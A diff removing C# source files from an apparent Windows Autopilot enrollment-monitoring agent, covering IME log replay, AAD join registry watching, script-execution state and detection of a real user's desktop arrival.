/// Stores the current read position for a file after successful reading.
|
||||
/// </summary>
|
||||
public void SetPosition(string filePath, long position)
|
||||
{
|
||||
FilePositionState state;
|
||||
if (!_positions.TryGetValue(filePath, out state))
|
||||
{
|
||||
state = new FilePositionState();
|
||||
_positions[filePath] = state;
|
||||
}
|
||||
|
||||
state.Position = position;
|
||||
state.LastKnownSize = position; // Position is always <= file size
|
||||
state.LastReadTime = DateTime.UtcNow;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the stored position for a file, or 0 if not tracked.
|
||||
/// Does not perform rollover detection.
|
||||
/// </summary>
|
||||
public long GetPosition(string filePath)
|
||||
{
|
||||
FilePositionState state;
|
||||
if (_positions.TryGetValue(filePath, out state))
|
||||
return state.Position;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns all tracked positions for state persistence.
|
||||
/// Keys are full file paths.
|
||||
/// </summary>
|
||||
public Dictionary<string, FilePositionState> GetAllPositions()
|
||||
{
|
||||
return new Dictionary<string, FilePositionState>(_positions, StringComparer.OrdinalIgnoreCase);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Restores a previously persisted position for a file.
|
||||
/// Used on agent restart to continue reading from the last known position.
|
||||
/// </summary>
|
||||
public void RestorePosition(string filePath, long position, long lastKnownSize)
|
||||
{
|
||||
_positions[filePath] = new FilePositionState
|
||||
{
|
||||
Position = position,
|
||||
LastKnownSize = lastKnownSize,
|
||||
LastReadTime = DateTime.UtcNow
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
public class FilePositionState
|
||||
{
|
||||
public long Position { get; set; }
|
||||
public long LastKnownSize { get; set; }
|
||||
public DateTime LastReadTime { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -1,154 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime
|
||||
{
|
||||
/// <summary>
|
||||
/// Replays a real Autopilot enrollment using IME log files with time compression.
|
||||
///
|
||||
/// Key principle: Real data, no mocks.
|
||||
/// - Device info: collected from actual WMI/Registry on the machine running the replay
|
||||
/// - App tracking: replayed from real IME log files with configurable speed factor
|
||||
/// - Performance data: handled by PerformanceCollector (always on, real machine data)
|
||||
/// </summary>
|
||||
public class LogReplayService : IDisposable
|
||||
{
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _onEventCollected;
|
||||
private readonly string _replayLogDir;
|
||||
private readonly double _speedFactor;
|
||||
private readonly List<ImeLogPattern> _imeLogPatterns;
|
||||
|
||||
private CancellationTokenSource _cancellationTokenSource;
|
||||
private Task _replayTask;
|
||||
private EnrollmentTracker _enrollmentTracker;
|
||||
private bool _disposed = false;
|
||||
|
||||
public LogReplayService(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> onEventCollected,
|
||||
AgentLogger logger,
|
||||
string replayLogDir = null,
|
||||
double speedFactor = 50,
|
||||
List<ImeLogPattern> imeLogPatterns = null)
|
||||
{
|
||||
_sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
|
||||
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
_onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
_replayLogDir = replayLogDir;
|
||||
_speedFactor = speedFactor;
|
||||
_imeLogPatterns = imeLogPatterns ?? new List<ImeLogPattern>();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts log replay
|
||||
/// </summary>
|
||||
public void Start()
|
||||
{
|
||||
_logger.Info("Starting log replay service");
|
||||
|
||||
if (string.IsNullOrEmpty(_replayLogDir) || !Directory.Exists(_replayLogDir))
|
||||
{
|
||||
_logger.Warning($"Replay log directory not found or not specified: {_replayLogDir}");
|
||||
_logger.Info("Log replay will only emit device info events (no log replay)");
|
||||
}
|
||||
|
||||
_cancellationTokenSource = new CancellationTokenSource();
|
||||
_replayTask = Task.Run(() => RunReplay(_cancellationTokenSource.Token));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops the log replay
|
||||
/// </summary>
|
||||
public void Stop()
|
||||
{
|
||||
if (_cancellationTokenSource == null || _cancellationTokenSource.IsCancellationRequested)
|
||||
return;
|
||||
|
||||
_logger.Info("Stopping log replay service");
|
||||
|
||||
try
|
||||
{
|
||||
_cancellationTokenSource?.Cancel();
|
||||
_replayTask?.Wait(TimeSpan.FromSeconds(5));
|
||||
}
|
||||
catch (ObjectDisposedException) { }
|
||||
catch (AggregateException) { }
|
||||
}
|
||||
|
||||
private async Task RunReplay(CancellationToken cancellationToken)
|
||||
{
|
||||
try
|
||||
{
|
||||
_logger.Info($"Starting log replay (real device data + IME log replay, speed factor: {_speedFactor}x)");
|
||||
|
||||
_enrollmentTracker = new EnrollmentTracker(
|
||||
_sessionId,
|
||||
_tenantId,
|
||||
_onEventCollected,
|
||||
_logger,
|
||||
_imeLogPatterns,
|
||||
_replayLogDir,
|
||||
simulationMode: true,
|
||||
speedFactor: _speedFactor
|
||||
);
|
||||
|
||||
_enrollmentTracker.Start();
|
||||
_logger.Info($"EnrollmentTracker started in replay mode (speed factor: {_speedFactor}x)");
|
||||
|
||||
// Wait for log replay to complete or be cancelled
|
||||
var checkInterval = TimeSpan.FromSeconds(5);
|
||||
var maxWaitTime = TimeSpan.FromMinutes(10); // Safety timeout
|
||||
var elapsed = TimeSpan.Zero;
|
||||
|
||||
while (!cancellationToken.IsCancellationRequested && elapsed < maxWaitTime)
|
||||
{
|
||||
await Task.Delay(checkInterval, cancellationToken);
|
||||
elapsed += checkInterval;
|
||||
|
||||
var packageStates = _enrollmentTracker.ImeTracker?.PackageStates;
|
||||
if (packageStates != null && packageStates.CountAll > 0 && packageStates.IsAllCompleted())
|
||||
{
|
||||
_logger.Info($"Log replay: all {packageStates.CountAll} apps completed after {elapsed.TotalSeconds:F0}s");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
_logger.Info("Log replay completed (enrollment_complete will be emitted when IME log shows user session completion)");
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
_logger.Info("Log replay cancelled");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error in log replay", ex);
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (_disposed)
|
||||
return;
|
||||
|
||||
Stop();
|
||||
_enrollmentTracker?.Dispose();
|
||||
_cancellationTokenSource?.Dispose();
|
||||
_disposed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
-35
@@ -1,35 +0,0 @@
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
|
||||
/// <summary>
|
||||
/// Accumulates multi-line script execution data from IME logs before emitting
|
||||
/// a single consolidated event. Used for both platform scripts and remediation scripts.
|
||||
/// </summary>
|
||||
public class ScriptExecutionState
|
||||
{
|
||||
/// <summary>Intune policy GUID identifying the script.</summary>
|
||||
public string PolicyId { get; set; }
|
||||
|
||||
/// <summary>"platform" or "remediation".</summary>
|
||||
public string ScriptType { get; set; }
|
||||
|
||||
/// <summary>"detection" or "remediation" (remediation scripts only).</summary>
|
||||
public string ScriptPart { get; set; }
|
||||
|
||||
/// <summary>"System" or "User" execution context.</summary>
|
||||
public string RunContext { get; set; }
|
||||
|
||||
/// <summary>PowerShell exit code.</summary>
|
||||
public int? ExitCode { get; set; }
|
||||
|
||||
/// <summary>Standard output (truncated).</summary>
|
||||
public string Stdout { get; set; }
|
||||
|
||||
/// <summary>Standard error output (truncated).</summary>
|
||||
public string Stderr { get; set; }
|
||||
|
||||
/// <summary>"Success" or "Failed" (platform scripts).</summary>
|
||||
public string Result { get; set; }
|
||||
|
||||
/// <summary>"True" or "False" compliance result (remediation detection only).</summary>
|
||||
public string ComplianceResult { get; set; }
|
||||
}
|
||||
-84
@@ -1,84 +0,0 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals
|
||||
{
|
||||
/// <summary>
|
||||
/// Reads AAD join information from the Windows registry and classifies the
|
||||
/// signed-in user e-mail into "real user" vs. "provisioning placeholder".
|
||||
///
|
||||
/// Registry path: HKLM\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo\<thumbprint>\UserEmail
|
||||
///
|
||||
/// Placeholder users (<see cref="IsPlaceholderUserEmail"/>) appear transiently during
|
||||
/// Autopilot pre-provisioning (WhiteGlove) and must NOT be counted as a real AAD join.
|
||||
/// </summary>
|
||||
internal static class AadJoinInfo
|
||||
{
|
||||
internal const string JoinInfoRegistryPath =
|
||||
@"SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo";
|
||||
|
||||
/// <summary>
|
||||
/// Reads the first JoinInfo sub-key and returns the UserEmail + thumbprint.
|
||||
/// Returns true when ANY sub-key was found (even without UserEmail); the caller
|
||||
/// inspects the out-parameters to decide semantics.
|
||||
/// </summary>
|
||||
/// <param name="userEmail">Raw UserEmail value (may be null/empty).</param>
|
||||
/// <param name="thumbprint">The certificate thumbprint sub-key name (may be null).</param>
|
||||
/// <param name="isPlaceholderUser">
|
||||
/// True when <paramref name="userEmail"/> matches a known provisioning-placeholder
|
||||
/// pattern (foouser@*, autopilot@*). Placeholders are NOT a real AAD join.
|
||||
/// </param>
|
||||
internal static bool TryReadAadJoinedUser(
|
||||
out string userEmail,
|
||||
out string thumbprint,
|
||||
out bool isPlaceholderUser)
|
||||
{
|
||||
userEmail = null;
|
||||
thumbprint = null;
|
||||
isPlaceholderUser = false;
|
||||
|
||||
try
|
||||
{
|
||||
using (var joinInfoKey = Registry.LocalMachine.OpenSubKey(JoinInfoRegistryPath))
|
||||
{
|
||||
if (joinInfoKey == null)
|
||||
return false;
|
||||
|
||||
var subKeyNames = joinInfoKey.GetSubKeyNames();
|
||||
if (subKeyNames == null || subKeyNames.Length == 0)
|
||||
return false;
|
||||
|
||||
thumbprint = subKeyNames[0];
|
||||
using (var subKey = joinInfoKey.OpenSubKey(thumbprint))
|
||||
{
|
||||
if (subKey == null)
|
||||
return true;
|
||||
|
||||
userEmail = subKey.GetValue("UserEmail")?.ToString();
|
||||
isPlaceholderUser = IsPlaceholderUserEmail(userEmail);
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns true when the given email matches a known transient provisioning-account
|
||||
/// pattern (foouser@*, autopilot@*). These accounts appear during Autopilot device
|
||||
/// preparation and must not be treated as a real signed-in user.
|
||||
/// </summary>
|
||||
internal static bool IsPlaceholderUserEmail(string email)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(email))
|
||||
return false;
|
||||
|
||||
return email.StartsWith("foouser@", StringComparison.OrdinalIgnoreCase)
|
||||
|| email.StartsWith("autopilot@", StringComparison.OrdinalIgnoreCase);
|
||||
}
|
||||
}
|
||||
}
|
||||
-251
@@ -1,251 +0,0 @@
|
||||
using System;
|
||||
using System.Threading;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Interop;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals
|
||||
{
|
||||
public sealed class AadPlaceholderUserDetectedEventArgs : EventArgs
|
||||
{
|
||||
public string UserEmail { get; }
|
||||
public string Thumbprint { get; }
|
||||
public AadPlaceholderUserDetectedEventArgs(string userEmail, string thumbprint)
|
||||
{
|
||||
UserEmail = userEmail;
|
||||
Thumbprint = thumbprint;
|
||||
}
|
||||
}
|
||||
|
||||
public sealed class AadUserJoinedEventArgs : EventArgs
|
||||
{
|
||||
public string UserEmail { get; }
|
||||
public string Thumbprint { get; }
|
||||
public AadUserJoinedEventArgs(string userEmail, string thumbprint)
|
||||
{
|
||||
UserEmail = userEmail;
|
||||
Thumbprint = thumbprint;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Watches <c>HKLM\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo</c> for a
|
||||
/// late AAD user join. Uses <see cref="RegistryWatcher"/> (RegNotifyChangeKeyValue) for
|
||||
/// instant, low-overhead change detection — no polling.
|
||||
///
|
||||
/// Two distinct events are raised:
|
||||
/// <list type="bullet">
|
||||
/// <item><description><see cref="PlaceholderUserDetected"/> — first time a transient
|
||||
/// provisioning account (<c>foouser@*</c>, <c>autopilot@*</c>) appears. Fire-once.
|
||||
/// The watcher keeps running afterwards, as the placeholder is expected to be
|
||||
/// replaced by a real user.</description></item>
|
||||
/// <item><description><see cref="AadUserJoined"/> — first time a REAL user e-mail
|
||||
/// (non-placeholder) appears. Fire-once. The watcher auto-stops afterwards.</description></item>
|
||||
/// </list>
|
||||
///
|
||||
/// Retry semantics: the <c>JoinInfo</c> root key may not exist yet when the agent
|
||||
/// starts — it is created during AAD provisioning. A retry timer polls for its
|
||||
/// appearance every 2 seconds until it exists, then attaches the registry watcher.
|
||||
/// </summary>
|
||||
internal sealed class AadJoinWatcher : IDisposable
|
||||
{
|
||||
internal const int RetryIntervalSeconds = 2;
|
||||
internal const int DebounceMilliseconds = 500;
|
||||
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly object _stateLock = new object();
|
||||
|
||||
private RegistryWatcher _watcher;
|
||||
private Timer _retryTimer;
|
||||
private Timer _debounceTimer;
|
||||
|
||||
private bool _placeholderFired;
|
||||
private bool _realUserFired;
|
||||
private bool _disposed;
|
||||
|
||||
public event EventHandler<AadPlaceholderUserDetectedEventArgs> PlaceholderUserDetected;
|
||||
public event EventHandler<AadUserJoinedEventArgs> AadUserJoined;
|
||||
|
||||
public AadJoinWatcher(AgentLogger logger)
|
||||
{
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
if (_disposed) throw new ObjectDisposedException(nameof(AadJoinWatcher));
|
||||
|
||||
// Initial synchronous read. If a real AAD user is already present (typical after
|
||||
// DeviceInfoCollector ran at agent startup), fire AadUserJoined once and do NOT
|
||||
// attach the registry watcher — there is nothing left to watch for.
|
||||
CheckJoinInfo();
|
||||
bool terminalFromStartup;
|
||||
lock (_stateLock) { terminalFromStartup = _realUserFired; }
|
||||
if (terminalFromStartup)
|
||||
{
|
||||
_logger.Info("AadJoinWatcher: real AAD user already present at startup — skipping RegistryWatcher attach");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!TryStartWatcher())
|
||||
{
|
||||
_logger.Info("AadJoinWatcher: JoinInfo key not yet present — retrying every 2s");
|
||||
_retryTimer = new Timer(
|
||||
_ =>
|
||||
{
|
||||
if (TryStartWatcher())
|
||||
{
|
||||
_retryTimer?.Dispose();
|
||||
_retryTimer = null;
|
||||
}
|
||||
},
|
||||
null,
|
||||
TimeSpan.FromSeconds(RetryIntervalSeconds),
|
||||
TimeSpan.FromSeconds(RetryIntervalSeconds));
|
||||
}
|
||||
}
|
||||
|
||||
public void Stop(string reason = "watcher_stopped")
|
||||
{
|
||||
try
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
_retryTimer?.Dispose();
|
||||
_retryTimer = null;
|
||||
|
||||
_debounceTimer?.Dispose();
|
||||
_debounceTimer = null;
|
||||
|
||||
if (_watcher != null)
|
||||
{
|
||||
_watcher.Dispose();
|
||||
_watcher = null;
|
||||
_logger.Info($"AadJoinWatcher: stopped ({reason})");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("AadJoinWatcher: error during Stop", ex);
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (_disposed) return;
|
||||
_disposed = true;
|
||||
Stop("disposed");
|
||||
}
|
||||
|
||||
private bool TryStartWatcher()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(AadJoinInfo.JoinInfoRegistryPath))
|
||||
{
|
||||
if (key == null) return false;
|
||||
}
|
||||
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_watcher != null) return true; // Already running
|
||||
|
||||
_debounceTimer = new Timer(
|
||||
_ => CheckJoinInfo(),
|
||||
null,
|
||||
Timeout.Infinite,
|
||||
Timeout.Infinite);
|
||||
|
||||
_watcher = new RegistryWatcher(
|
||||
RegistryHive.LocalMachine,
|
||||
AadJoinInfo.JoinInfoRegistryPath,
|
||||
watchSubtree: true,
|
||||
filter: RegistryNativeMethods.RegChangeNotifyFilter.LastSet
|
||||
| RegistryNativeMethods.RegChangeNotifyFilter.Name,
|
||||
trace: msg => _logger.Trace($"AadJoinWatcher(reg): {msg}"));
|
||||
|
||||
_watcher.Changed += (s, e) =>
|
||||
{
|
||||
_logger.Trace("AadJoinWatcher: registry changed — debouncing");
|
||||
_debounceTimer?.Change(DebounceMilliseconds, Timeout.Infinite);
|
||||
};
|
||||
_watcher.Error += (s, ex) => _logger.Warning($"AadJoinWatcher: watcher error: {ex.Message}");
|
||||
|
||||
_watcher.Start();
|
||||
_logger.Info("AadJoinWatcher: RegistryWatcher attached to JoinInfo");
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"AadJoinWatcher: failed to start watcher: {ex.Message}");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private void CheckJoinInfo()
|
||||
{
|
||||
try
|
||||
{
|
||||
// Already reached terminal state? Stop any further processing.
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_realUserFired) return;
|
||||
}
|
||||
|
||||
if (!AadJoinInfo.TryReadAadJoinedUser(out var userEmail, out var thumbprint, out var isPlaceholderUser))
|
||||
{
|
||||
// Key gone or unreadable — keep watching, may come back
|
||||
return;
|
||||
}
|
||||
|
||||
if (string.IsNullOrWhiteSpace(userEmail))
|
||||
{
|
||||
// Sub-key exists but no UserEmail value yet — nothing to act on
|
||||
return;
|
||||
}
|
||||
|
||||
bool firePlaceholder = false;
|
||||
bool fireRealUser = false;
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (isPlaceholderUser && !_placeholderFired)
|
||||
{
|
||||
_placeholderFired = true;
|
||||
firePlaceholder = true;
|
||||
}
|
||||
else if (!isPlaceholderUser && !_realUserFired)
|
||||
{
|
||||
_realUserFired = true;
|
||||
fireRealUser = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (firePlaceholder)
|
||||
{
|
||||
_logger.Info($"AadJoinWatcher: placeholder user detected ({userEmail}) — pre-provisioning indicator");
|
||||
try { PlaceholderUserDetected?.Invoke(this, new AadPlaceholderUserDetectedEventArgs(userEmail, thumbprint)); }
|
||||
catch (Exception ex) { _logger.Error("AadJoinWatcher: PlaceholderUserDetected handler threw", ex); }
|
||||
}
|
||||
|
||||
if (fireRealUser)
|
||||
{
|
||||
_logger.Info($"AadJoinWatcher: real AAD user joined ({userEmail}) — firing AadUserJoined and stopping watcher");
|
||||
try { AadUserJoined?.Invoke(this, new AadUserJoinedEventArgs(userEmail, thumbprint)); }
|
||||
catch (Exception ex) { _logger.Error("AadJoinWatcher: AadUserJoined handler threw", ex); }
|
||||
|
||||
// Terminal — stop the watcher. Run on a thread-pool thread to avoid
|
||||
// callback-in-callback lock edge cases with the RegistryWatcher worker.
|
||||
ThreadPool.QueueUserWorkItem(_ => Stop("real_user_joined"));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"AadJoinWatcher: CheckJoinInfo threw: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
-215
@@ -1,215 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Management;
|
||||
using System.Threading;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals
|
||||
{
|
||||
/// <summary>
|
||||
/// Detects when a real user desktop becomes available (explorer.exe under a non-system user).
|
||||
/// Fires DesktopArrived event exactly once per agent lifetime.
|
||||
/// Used for enrollment completion in no-ESP scenarios (WDP v2, ESP disabled) and
|
||||
/// as a backup signal for AccountSetup phase correction.
|
||||
/// </summary>
|
||||
public class DesktopArrivalDetector : IDisposable
|
||||
{
|
||||
private readonly AgentLogger _logger;
|
||||
private Timer _pollingTimer;
|
||||
private bool _desktopArrived;
|
||||
private bool _excludedUserTraced; // Emit trace event only once for excluded-user skips
|
||||
private const int PollingIntervalSeconds = 30;
|
||||
|
||||
/// <summary>
|
||||
/// System/service account names that should NOT be considered real users.
|
||||
/// </summary>
|
||||
private static readonly string[] ExcludedUserNames =
|
||||
{
|
||||
"SYSTEM",
|
||||
"LOCAL SERVICE",
|
||||
"NETWORK SERVICE",
|
||||
"DefaultUser0",
|
||||
"DefaultUser1",
|
||||
"defaultuser0",
|
||||
"defaultuser1"
|
||||
};
|
||||
|
||||
/// <summary>
|
||||
/// Fired exactly once when a real user desktop is detected (explorer.exe under a real user).
|
||||
/// </summary>
|
||||
public event EventHandler DesktopArrived;
|
||||
|
||||
/// <summary>
|
||||
/// Optional callback for trace events (decision, reason, context).
|
||||
/// Wired by MonitoringService to emit agent_trace events to the backend.
|
||||
/// </summary>
|
||||
public Action<string, string, Dictionary<string, object>> OnTraceEvent { get; set; }
|
||||
|
||||
public DesktopArrivalDetector(AgentLogger logger)
|
||||
{
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
_logger.Info("DesktopArrivalDetector: starting (polling every 30s)");
|
||||
_pollingTimer = new Timer(
|
||||
PollForDesktop,
|
||||
null,
|
||||
TimeSpan.FromSeconds(5), // Initial check after 5s
|
||||
TimeSpan.FromSeconds(PollingIntervalSeconds));
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
_pollingTimer?.Dispose();
|
||||
_pollingTimer = null;
|
||||
}
|
||||
|
||||
private void PollForDesktop(object state)
|
||||
{
|
||||
if (_desktopArrived)
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
var explorerProcesses = Process.GetProcessesByName("explorer");
|
||||
foreach (var proc in explorerProcesses)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Session 0 = SYSTEM session, skip
|
||||
if (proc.SessionId == 0)
|
||||
continue;
|
||||
|
||||
var owner = GetProcessOwner(proc.Id);
|
||||
if (owner == null)
|
||||
continue;
|
||||
|
||||
// Check against exclusion list
|
||||
if (IsExcludedUser(owner))
|
||||
{
|
||||
_logger.Debug($"DesktopArrivalDetector: explorer.exe PID {proc.Id} owned by excluded user '{owner}' — skipping");
|
||||
|
||||
// Trace this decision once so it's visible in the backend
|
||||
if (!_excludedUserTraced)
|
||||
{
|
||||
_excludedUserTraced = true;
|
||||
try
|
||||
{
|
||||
OnTraceEvent?.Invoke(
|
||||
"desktop_excluded_user",
|
||||
$"explorer.exe found but owned by excluded user '{owner}' — not a real user desktop",
|
||||
new Dictionary<string, object> { { "pid", proc.Id }, { "session", proc.SessionId }, { "owner", owner } });
|
||||
}
|
||||
catch (Exception ex) { _logger.Verbose($"DesktopArrivalDetector: OnTraceEvent failed: {ex.Message}"); }
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Real user desktop detected
|
||||
_desktopArrived = true;
|
||||
_logger.Info($"DesktopArrivalDetector: real user desktop detected (explorer.exe PID {proc.Id}, session {proc.SessionId}, user '{owner}')");
|
||||
|
||||
try
|
||||
{
|
||||
OnTraceEvent?.Invoke(
|
||||
"desktop_real_user_detected",
|
||||
$"Real user desktop detected (explorer.exe PID {proc.Id}, user '[redacted]')",
|
||||
new Dictionary<string, object> { { "pid", proc.Id }, { "session", proc.SessionId }, { "owner", "[redacted]" } });
|
||||
}
|
||||
catch (Exception ex) { _logger.Verbose($"DesktopArrivalDetector: OnTraceEvent failed: {ex.Message}"); }
|
||||
|
||||
// Stop polling
|
||||
_pollingTimer?.Dispose();
|
||||
_pollingTimer = null;
|
||||
|
||||
try { DesktopArrived?.Invoke(this, EventArgs.Empty); }
|
||||
catch (Exception ex) { _logger.Warning($"DesktopArrivalDetector: DesktopArrived handler failed: {ex.Message}"); }
|
||||
return;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"DesktopArrivalDetector: error checking explorer.exe PID {proc.Id}: {ex.Message}");
|
||||
}
|
||||
finally
|
||||
{
|
||||
proc.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"DesktopArrivalDetector: polling error: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the owner of a process using WMI (Win32_Process.GetOwner).
|
||||
/// Returns "DOMAIN\User" or "User" string, or null on failure.
|
||||
/// </summary>
|
||||
private string GetProcessOwner(int processId)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
$"SELECT * FROM Win32_Process WHERE ProcessId = {processId}"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
var outParams = new object[2];
|
||||
var result = (uint)obj.InvokeMethod("GetOwner", outParams);
|
||||
if (result == 0)
|
||||
{
|
||||
var user = outParams[0]?.ToString();
|
||||
var domain = outParams[1]?.ToString();
|
||||
return string.IsNullOrEmpty(domain) ? user : $"{domain}\\{user}";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"DesktopArrivalDetector: WMI GetOwner failed for PID {processId}: {ex.Message}");
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns true if the user name matches any excluded system/service account.
|
||||
/// Handles both "User" and "DOMAIN\User" formats.
|
||||
/// Also matches the pattern DefaultUser* (case-insensitive).
|
||||
/// </summary>
|
||||
internal static bool IsExcludedUser(string fullUserName)
|
||||
{
|
||||
if (string.IsNullOrEmpty(fullUserName))
|
||||
return true;
|
||||
|
||||
// Extract just the username part (after backslash if present)
|
||||
var userName = fullUserName;
|
||||
var backslashIndex = fullUserName.LastIndexOf('\\');
|
||||
if (backslashIndex >= 0 && backslashIndex < fullUserName.Length - 1)
|
||||
userName = fullUserName.Substring(backslashIndex + 1);
|
||||
|
||||
// Check exact matches
|
||||
foreach (var excluded in ExcludedUserNames)
|
||||
{
|
||||
if (string.Equals(userName, excluded, StringComparison.OrdinalIgnoreCase))
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check DefaultUser* pattern
|
||||
if (userName.StartsWith("DefaultUser", StringComparison.OrdinalIgnoreCase))
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Stop();
|
||||
}
|
||||
}
|
||||
}
|
||||
-320
@@ -1,320 +0,0 @@
|
||||
using System;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals
|
||||
{
|
||||
/// <summary>
|
||||
/// Thin coordinator that composes four focused sub-trackers to deliver the ESP + Hello
|
||||
/// monitoring surface expected by <c>CollectorCoordinator</c> and <c>EnrollmentTracker</c>:
|
||||
///
|
||||
/// - <see cref="HelloTracker"/> — WHfB policy, UDR 300/301/358/360/362/376,
|
||||
/// HelloForBusiness 3024/6045, Hello timers
|
||||
/// - <see cref="ShellCoreTracker"/> — Shell-Core 62404/62407 (ESP exit / failure,
|
||||
/// WhiteGlove success, Hello wizard start)
|
||||
/// - <see cref="ProvisioningStatusTracker"/> — Registry-driven ESP provisioning category
|
||||
/// tracking + DeviceSetup fallback
|
||||
/// - <see cref="ModernDeploymentTracker"/> — ModernDeployment-Diagnostics-Provider live
|
||||
/// capture + WhiteGlove Event 509 backfill
|
||||
///
|
||||
/// Public API (events, properties, methods) is preserved byte-for-byte from the pre-split
|
||||
/// monolith so callers don't change.
|
||||
/// </summary>
|
||||
public sealed class EspAndHelloTracker : IDisposable
|
||||
{
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _onEventCollected;
|
||||
|
||||
private readonly int _helloWaitTimeoutSeconds;
|
||||
private readonly bool _modernDeploymentWatcherEnabled;
|
||||
private readonly int _modernDeploymentLogLevelMax;
|
||||
private readonly bool _modernDeploymentBackfillEnabled;
|
||||
private readonly int _modernDeploymentBackfillLookbackMinutes;
|
||||
private readonly string _stateDirectory;
|
||||
